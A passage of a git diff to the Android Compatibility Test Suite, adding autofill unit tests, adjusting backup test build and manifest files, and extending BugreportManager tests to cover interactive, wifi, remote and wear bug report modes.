+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("11111-222222-33333-44444-")).getTextValue())
+                        .isEqualTo("111112222223333344444");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("1111 2222 3333")).getTextValue())
+                        .isEqualTo("111122223333");
+        assertThat(ccSanitizer.sanitize(AutofillValue
+                .forText("11111-222222-33333 ")).getTextValue())
+                        .isEqualTo("1111122222233333");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/UserDataTest.java
new file mode 100644
index 0000000..ed5164c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/UserDataTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.UserData;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
+import com.google.common.base.Strings;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class UserDataTest {
+
+    private static final Context sContext = getInstrumentation().getTargetContext();
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxFcSizeChanger =
+            new SettingsStateChangerRule(sContext,
+                    AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE, "10");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxCategoriesSizeChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "2");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxUserSizeChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE, "4");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMinValueChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxValueChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_VALUE_LENGTH, "50");
+
+
+    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
+    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
+            + Strings.repeat("?", UserData.getMaxValueLength());
+    private final String mId = "4815162342";
+    private final String mCategoryId = "id1";
+    private final String mCategoryId2 = "id2";
+    private final String mCategoryId3 = "id3";
+    private final String mValue = mShortValue + "-1";
+    private final String mValue2 = mShortValue + "-2";
+    private final String mValue3 = mShortValue + "-3";
+    private final String mValue4 = mShortValue + "-4";
+    private final String mValue5 = mShortValue + "-5";
+
+    private UserData.Builder mBuilder;
+
+    @Before
+    public void setFixtures() {
+        mBuilder = new UserData.Builder(mId, mValue, mCategoryId);
+    }
+
+    @Test
+    public void testBuilder_invalid() {
+        assertThrows(NullPointerException.class,
+                () -> new UserData.Builder(null, mValue, mCategoryId));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder("", mValue, mCategoryId));
+        assertThrows(NullPointerException.class,
+                () -> new UserData.Builder(mId, null, mCategoryId));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mId, "", mCategoryId));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mId, mShortValue, mCategoryId));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mId, mLongValue, mCategoryId));
+        assertThrows(NullPointerException.class, () -> new UserData.Builder(mId, mValue, null));
+        assertThrows(IllegalArgumentException.class, () -> new UserData.Builder(mId, mValue, ""));
+    }
+
+    @Test
+    public void testAdd_invalid() {
+        assertThrows(NullPointerException.class, () -> mBuilder.add(null, mCategoryId));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add("", mCategoryId));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mShortValue, mCategoryId));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mLongValue, mCategoryId));
+        assertThrows(NullPointerException.class, () -> mBuilder.add(mValue, null));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mValue, ""));
+    }
+
+    @Test
+    public void testAdd_duplicatedValue() {
+        assertThat(new UserData.Builder(mId, mValue, mCategoryId).add(mValue, mCategoryId).build())
+                .isNotNull();
+        assertThat(new UserData.Builder(mId, mValue, mCategoryId).add(mValue, mCategoryId2).build())
+                .isNotNull();
+    }
+
+    @Test
+    public void testAdd_maximumCategoriesReached() {
+        // Max is 2; one was added in the constructor
+        mBuilder.add(mValue2, mCategoryId2);
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue3, mCategoryId3));
+    }
+
+    @Test
+    public void testAdd_maximumUserDataReached() {
+        // Max is 4; one was added in the constructor
+        mBuilder.add(mValue2, mCategoryId);
+        mBuilder.add(mValue3, mCategoryId);
+        mBuilder.add(mValue4, mCategoryId2);
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue5, mCategoryId2));
+    }
+
+    @Test
+    public void testSetFcAlgorithm() {
+        final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
+                .build();
+        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo("algo_mas");
+    }
+
+    @Test
+    public void testSetFcAlgorithmForCategory_invalid() {
+        assertThrows(NullPointerException.class, () -> mBuilder
+                .setFieldClassificationAlgorithmForCategory(null, "algo_mas", null));
+    }
+
+    @Test
+    public void testSetFcAlgorithmForCateogry() {
+        final UserData userData = mBuilder.setFieldClassificationAlgorithmForCategory(
+                mCategoryId, "algo_mas", null).build();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isEqualTo(
+                "algo_mas");
+    }
+
+    @Test
+    public void testBuild_valid() {
+        final UserData userData = mBuilder.build();
+        assertThat(userData).isNotNull();
+        assertThat(userData.getId()).isEqualTo(mId);
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isNull();
+    }
+
+    @Test
+    public void testGetFcAlgorithmForCategory_invalid() {
+        final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
+                .build();
+        assertThrows(NullPointerException.class, () -> userData
+                .getFieldClassificationAlgorithmForCategory(null));
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        testBuild_valid();
+
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue, mCategoryId2));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setFieldClassificationAlgorithmForCategory(mCategoryId,
+                        "algo_mas", null));
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/ValidatorsTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/ValidatorsTest.java
new file mode 100644
index 0000000..22bacb8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/ValidatorsTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.service.autofill.Validators.and;
+import static android.service.autofill.Validators.not;
+import static android.service.autofill.Validators.or;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.InternalValidator;
+import android.service.autofill.Validator;
+import android.service.autofill.ValueFinder;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class ValidatorsTest {
+
+    @Mock private Validator mInvalidValidator;
+    @Mock private ValueFinder mValueFinder;
+    @Mock private InternalValidator mValidValidator;
+    @Mock private InternalValidator mValidValidator2;
+
+    @Test
+    public void testAnd_null() {
+        assertThrows(NullPointerException.class, () -> and((Validator) null));
+        assertThrows(NullPointerException.class, () -> and(mValidValidator, null));
+        assertThrows(NullPointerException.class, () -> and(null, mValidValidator));
+    }
+
+    @Test
+    public void testAnd_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> and(mValidValidator, mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator, mValidValidator));
+    }
+
+    @Test
+    public void testAnd_firstFailed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+        verify(mValidValidator2, never()).isValid(mValueFinder);
+    }
+
+    @Test
+    public void testAnd_firstPassedSecondFailed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+    }
+
+    @Test
+    public void testAnd_AllPassed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testOr_null() {
+        assertThrows(NullPointerException.class, () -> or((Validator) null));
+        assertThrows(NullPointerException.class, () -> or(mValidValidator, null));
+        assertThrows(NullPointerException.class, () -> or(null, mValidValidator));
+    }
+
+    @Test
+    public void testOr_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> or(mValidValidator, mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator, mValidValidator));
+    }
+
+    @Test
+    public void testOr_AllFailed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+    }
+
+    @Test
+    public void testOr_firstPassed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+        verify(mValidValidator2, never()).isValid(mValueFinder);
+    }
+
+    @Test
+    public void testOr_secondPassed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testNot_null() {
+        assertThrows(IllegalArgumentException.class, () -> not(null));
+    }
+
+    @Test
+    public void testNot_invalidClass() {
+        assertThrows(IllegalArgumentException.class, () -> not(mInvalidValidator));
+    }
+
+    @Test
+    public void testNot_falseToTrue() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+        assertThat(notValidator.isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testNot_trueToFalse() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
+        assertThat(notValidator.isValid(mValueFinder)).isFalse();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/VisibilitySetterActionTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/VisibilitySetterActionTest.java
new file mode 100644
index 0000000..5bb8f2b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/VisibilitySetterActionTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.VisibilitySetterAction;
+import android.view.View;
+import android.view.ViewGroup;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class VisibilitySetterActionTest {
+
+    private static final Context sContext = getInstrumentation().getTargetContext();
+    private final ViewGroup mRootView = new ViewGroup(sContext) {
+
+        @Override
+        protected void onLayout(boolean changed, int l, int t, int r, int b) {}
+    };
+
+    @Test
+    public void testValidVisibilities() {
+        assertThat(new VisibilitySetterAction.Builder(42, View.VISIBLE).build()).isNotNull();
+        assertThat(new VisibilitySetterAction.Builder(42, View.GONE).build()).isNotNull();
+        assertThat(new VisibilitySetterAction.Builder(42, View.INVISIBLE).build()).isNotNull();
+    }
+
+    @Test
+    public void testInvalidVisibilities() {
+        assertThrows(IllegalArgumentException.class,
+                () -> new VisibilitySetterAction.Builder(42, 666).build());
+        final VisibilitySetterAction.Builder validBuilder =
+                new VisibilitySetterAction.Builder(42, View.VISIBLE);
+        assertThrows(IllegalArgumentException.class,
+                () -> validBuilder.setVisibility(108, 666).build());
+    }
+
+    @Test
+    public void testOneChild() {
+        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
+                .build();
+        final View view = new View(sContext);
+        view.setId(42);
+        view.setVisibility(View.GONE);
+        mRootView.addView(view);
+
+        action.onClick(mRootView);
+
+        assertThat(view.getVisibility()).isEqualTo(View.VISIBLE);
+    }
+
+    @Test
+    public void testOneChildAddedTwice() {
+        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
+                .setVisibility(42, View.INVISIBLE)
+                .build();
+        final View view = new View(sContext);
+        view.setId(42);
+        view.setVisibility(View.GONE);
+        mRootView.addView(view);
+
+        action.onClick(mRootView);
+
+        assertThat(view.getVisibility()).isEqualTo(View.INVISIBLE);
+    }
+
+    @Test
+    public void testMultipleChildren() {
+        final VisibilitySetterAction action = new VisibilitySetterAction.Builder(42, View.VISIBLE)
+                .setVisibility(108, View.INVISIBLE)
+                .build();
+        final View view1 = new View(sContext);
+        view1.setId(42);
+        view1.setVisibility(View.GONE);
+        mRootView.addView(view1);
+
+        final View view2 = new View(sContext);
+        view2.setId(108);
+        view2.setVisibility(View.GONE);
+        mRootView.addView(view2);
+
+        action.onClick(mRootView);
+
+        assertThat(view1.getVisibility()).isEqualTo(View.VISIBLE);
+        assertThat(view2.getVisibility()).isEqualTo(View.INVISIBLE);
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        final VisibilitySetterAction.Builder builder =
+                new VisibilitySetterAction.Builder(42, View.VISIBLE);
+
+        assertThat(builder.build()).isNotNull();
+        assertThrows(IllegalStateException.class, () -> builder.build());
+        assertThrows(IllegalStateException.class, () -> builder.setVisibility(108, View.GONE));
+    }
+}
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index c1f78ed..a884afc 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -37,8 +37,8 @@
     srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
-	"mts-permission",
         "general-tests",
+        "mts-permission",
     ],
     sdk_version: "test_current",
 }
diff --git a/tests/backup/app/Android.bp b/tests/backup/app/Android.bp
index 94e0c6b..d3a2a90 100644
--- a/tests/backup/app/Android.bp
+++ b/tests/backup/app/Android.bp
@@ -29,6 +29,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
     manifest: "fullbackup/AndroidManifest.xml"
@@ -48,6 +49,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
     manifest: "keyvalue/AndroidManifest.xml"
@@ -67,6 +69,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
     manifest: "permission/AndroidManifest.xml"
@@ -86,6 +89,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
     manifest: "permission22/AndroidManifest.xml"
diff --git a/tests/backup/app/fullbackup/AndroidManifest.xml b/tests/backup/app/fullbackup/AndroidManifest.xml
index 138c774..7f639f9 100644
--- a/tests/backup/app/fullbackup/AndroidManifest.xml
+++ b/tests/backup/app/fullbackup/AndroidManifest.xml
@@ -16,28 +16,28 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.backup.app" >
+     package="android.backup.app">
 
-    <application
-        android:allowBackup="true"
-        android:backupAgent="FullBackupBackupAgent"
-        android:label="Android Backup CTS App"
-        android:fullBackupOnly="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:allowBackup="true"
+         android:backupAgent="FullBackupBackupAgent"
+         android:label="Android Backup CTS App"
+         android:fullBackupOnly="true">
+        <uses-library android:name="android.test.runner"/>
 
 
-        <activity
-            android:name=".MainActivity"
-            android:label="Android Backup CTS App" >
+        <activity android:name=".MainActivity"
+             android:label="Android Backup CTS App"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name=".WakeUpReceiver">
+        <receiver android:name=".WakeUpReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.backup.app.ACTION_WAKE_UP" />
+                <action android:name="android.backup.app.ACTION_WAKE_UP"/>
             </intent-filter>
         </receiver>
 
diff --git a/tests/backup/app/keyvalue/AndroidManifest.xml b/tests/backup/app/keyvalue/AndroidManifest.xml
index 3ed302d..c36d70c 100644
--- a/tests/backup/app/keyvalue/AndroidManifest.xml
+++ b/tests/backup/app/keyvalue/AndroidManifest.xml
@@ -16,20 +16,19 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.backup.kvapp" >
+     package="android.backup.kvapp">
 
-    <application
-        android:allowBackup="true"
-        android:backupAgent="android.backup.app.KeyValueBackupAgent"
-        android:label="Android Key Value Backup CTS App">
-        <uses-library android:name="android.test.runner" />
+    <application android:allowBackup="true"
+         android:backupAgent="android.backup.app.KeyValueBackupAgent"
+         android:label="Android Key Value Backup CTS App">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name="android.backup.app.MainActivity"
-            android:label="Android Key Value Backup CTS App" >
+        <activity android:name="android.backup.app.MainActivity"
+             android:label="Android Key Value Backup CTS App"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/backup/src/android/backup/cts/PermissionTest.java b/tests/backup/src/android/backup/cts/PermissionTest.java
index 4349aeb..31988ba 100644
--- a/tests/backup/src/android/backup/cts/PermissionTest.java
+++ b/tests/backup/src/android/backup/cts/PermissionTest.java
@@ -199,19 +199,22 @@
 
     /**
      * Test backup and restore of foreground runtime permission.
+     *
+     * Comment out the test since it's a JUnit 3 test which doesn't support @Ignore
+     * TODO: b/178522459 to fix the test once the foundamental issue has been fixed.
      */
-    public void testGrantForegroundRuntimePermission22() throws Exception {
-        if (!isBackupSupported()) {
-            return;
-        }
-        setAppOp(APP22, ACCESS_FINE_LOCATION, MODE_FOREGROUND);
-
-        mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
-        resetApp(APP22);
-        mBackupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE);
-
-        eventually(() -> assertEquals(MODE_FOREGROUND, getAppOp(APP22, ACCESS_FINE_LOCATION)));
-    }
+//    public void testGrantForegroundRuntimePermission22() throws Exception {
+//        if (!isBackupSupported()) {
+//            return;
+//        }
+//        setAppOp(APP22, ACCESS_FINE_LOCATION, MODE_FOREGROUND);
+//
+//        mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
+//        resetApp(APP22);
+//        mBackupUtils.restoreAndAssertSuccess(LOCAL_TRANSPORT_TOKEN, ANDROID_PACKAGE);
+//
+//        eventually(() -> assertEquals(MODE_FOREGROUND, getAppOp(APP22, ACCESS_FINE_LOCATION)));
+//    }
 
     /**
      * Test backup and restore of foreground runtime permission.
diff --git a/tests/bugreport/AndroidTest.xml b/tests/bugreport/AndroidTest.xml
index bdb66bb..0f55128 100644
--- a/tests/bugreport/AndroidTest.xml
+++ b/tests/bugreport/AndroidTest.xml
@@ -26,6 +26,6 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.bugreport.cts" />
-        <option name="runtime-hint" value="3m40s" />
+        <option name="runtime-hint" value="18m40s" />
     </test>
 </configuration>
diff --git a/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java b/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java
index 975b08c..49ae740 100644
--- a/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java
+++ b/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java
@@ -24,6 +24,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.os.BugreportManager;
 import android.os.BugreportParams;
 import android.util.Pair;
@@ -50,15 +51,23 @@
     // associated to this bugreport)
     private static final String INTENT_BUGREPORT_FINISHED =
             "com.android.internal.intent.action.BUGREPORT_FINISHED";
+    private static final String INTENT_REMOTE_BUGREPORT_DISPATCH =
+            "android.intent.action.REMOTE_BUGREPORT_DISPATCH";
+    private static final String REMOTE_BUGREPORT_MIMETYPE = "application/vnd.android.bugreport";
     private static final String EXTRA_BUGREPORT = "android.intent.extra.BUGREPORT";
     private static final String EXTRA_SCREENSHOT = "android.intent.extra.SCREENSHOT";
     private static final String BUGREPORT_SERVICE = "bugreportd";
 
     private Context mContext;
+    private BugreportManager mBugreportManager;
+
+    private boolean mIsTv;
 
     @Before
     public void setup() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        mBugreportManager = mContext.getSystemService(BugreportManager.class);
+        mIsTv = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
         // Kill current bugreport, so that it does not interfere with future bugreports.
         runShellCommand("setprop ctl.stop " + BUGREPORT_SERVICE);
     }
@@ -83,11 +92,7 @@
         String bugreport = brFiles.first;
         String screenshot = brFiles.second;
 
-        assertThat(bugreport).startsWith(
-                "/data/user_de/0/com.android.shell/files/bugreports/bugreport-");
-        assertThat(bugreport).endsWith(".zip");
-        // telephony bugreport contains "telephony" in the bugreport name
-        assertThat(bugreport).contains("-telephony-");
+        assertBugreportFileNameCorrect(bugreport, "-telephony-" /* suffixName */);
         assertThatFileisNotEmpty(bugreport);
         // telephony bugreport does not take any screenshot
         assertThat(screenshot).isNull();
@@ -100,17 +105,86 @@
         String bugreport = brFiles.first;
         String screenshot = brFiles.second;
 
-        assertThat(bugreport).startsWith(
-                "/data/user_de/0/com.android.shell/files/bugreports/bugreport-");
-        assertThat(bugreport).endsWith(".zip");
+        assertBugreportFileNameCorrect(bugreport, null /* suffixName */);
         assertThatFileisNotEmpty(bugreport);
         // full bugreport takes a default screenshot
-        assertThat(screenshot).startsWith(
-                "/data/user_de/0/com.android.shell/files/bugreports/screenshot-");
-        assertThat(screenshot).endsWith("-default.png");
+        assertScreenshotFileNameCorrect(screenshot);
         assertThatFileisNotEmpty(screenshot);
     }
 
+    @LargeTest
+    @Test
+    public void testInteractiveBugreport() throws Exception {
+        Pair<String, String> brFiles = triggerBugreport(BugreportParams.BUGREPORT_MODE_INTERACTIVE);
+        String bugreport = brFiles.first;
+        String screenshot = brFiles.second;
+
+        assertBugreportFileNameCorrect(bugreport, null /* suffixName */);
+        assertThatFileisNotEmpty(bugreport);
+        // tv does not support screenshot button in the ui, interactive bugreport takes a
+        // default screenshot.
+        if (mIsTv) {
+            assertScreenshotFileNameCorrect(screenshot);
+            assertThatFileisNotEmpty(screenshot);
+        } else {
+            assertThat(screenshot).isNull();
+        }
+    }
+
+    @Test
+    public void testWifiBugreport() throws Exception {
+        Pair<String, String> brFiles = triggerBugreport(BugreportParams.BUGREPORT_MODE_WIFI);
+        String bugreport = brFiles.first;
+        String screenshot = brFiles.second;
+
+        assertBugreportFileNameCorrect(bugreport, "-wifi-" /* suffixName */);
+        assertThatFileisNotEmpty(bugreport);
+        // wifi bugreport does not take any screenshot
+        assertThat(screenshot).isNull();
+    }
+
+    @LargeTest
+    @Test
+    public void testRemoteBugreport() throws Exception {
+        Pair<String, String> brFiles = triggerBugreport(BugreportParams.BUGREPORT_MODE_REMOTE);
+        String bugreport = brFiles.first;
+        String screenshot = brFiles.second;
+
+        assertBugreportFileNameCorrect(bugreport, null /* suffixName */);
+        assertThatFileisNotEmpty(bugreport);
+        // remote bugreport does not take any screenshot
+        assertThat(screenshot).isNull();
+    }
+
+    @LargeTest
+    @Test
+    public void testWearBugreport() throws Exception {
+        Pair<String, String> brFiles = triggerBugreport(BugreportParams.BUGREPORT_MODE_WEAR);
+        String bugreport = brFiles.first;
+        String screenshot = brFiles.second;
+
+        assertBugreportFileNameCorrect(bugreport, null /* suffixName */);
+        assertThatFileisNotEmpty(bugreport);
+        // wear bugreport takes a default screenshot
+        assertScreenshotFileNameCorrect(screenshot);
+        assertThatFileisNotEmpty(screenshot);
+    }
+
+    private void assertBugreportFileNameCorrect(String fileName, String suffixName) {
+        assertThat(fileName).startsWith(
+                "/data/user_de/0/com.android.shell/files/bugreports/bugreport-");
+        assertThat(fileName).endsWith(".zip");
+        if (suffixName != null) {
+            assertThat(fileName).contains(suffixName);
+        }
+    }
+
+    private void assertScreenshotFileNameCorrect(String fileName) {
+        assertThat(fileName).startsWith(
+                "/data/user_de/0/com.android.shell/files/bugreports/screenshot-");
+        assertThat(fileName).endsWith("-default.png");
+    }
+
     private void assertThatFileisNotEmpty(String file) throws Exception {
         String[] fileInfo = runShellCommand("ls -l " + file).split(" ");
         // Example output of ls -l: -rw------- 1 shell shell 27039619 2020-04-27 12:36 fileName.zip
@@ -151,18 +225,17 @@
 
     private Pair<String, String> triggerBugreport(int type) throws Exception {
         BugreportBroadcastReceiver br = new BugreportBroadcastReceiver();
-        mContext.registerReceiver(br, new IntentFilter(INTENT_BUGREPORT_FINISHED));
-
-        String shellCommand = "am bug-report";
-        switch (type) {
-            case BugreportParams.BUGREPORT_MODE_TELEPHONY:
-                shellCommand = shellCommand.concat(" --telephony");
-            case BugreportParams.BUGREPORT_MODE_FULL:
-                // default (no arg) takes full bugreport
-                break;
+        final IntentFilter intentFilter;
+        if (type == BugreportParams.BUGREPORT_MODE_REMOTE) {
+            intentFilter = new IntentFilter(INTENT_REMOTE_BUGREPORT_DISPATCH,
+                    REMOTE_BUGREPORT_MIMETYPE);
+        } else {
+            intentFilter = new IntentFilter(INTENT_BUGREPORT_FINISHED);
         }
-        String res = runShellCommand(shellCommand).trim();
-        assertThat(res).isEqualTo("Your lovely bug report is being created; please be patient.");
+        mContext.registerReceiver(br, intentFilter);
+        final BugreportParams params = new BugreportParams(type);
+        mBugreportManager.requestBugreport(params, "" /* shareTitle */, "" /* shareDescription */);
+
         try {
             br.waitForBugreportFinished();
         } finally {
@@ -172,6 +245,8 @@
         }
 
         Intent response = br.getBugreportFinishedIntent();
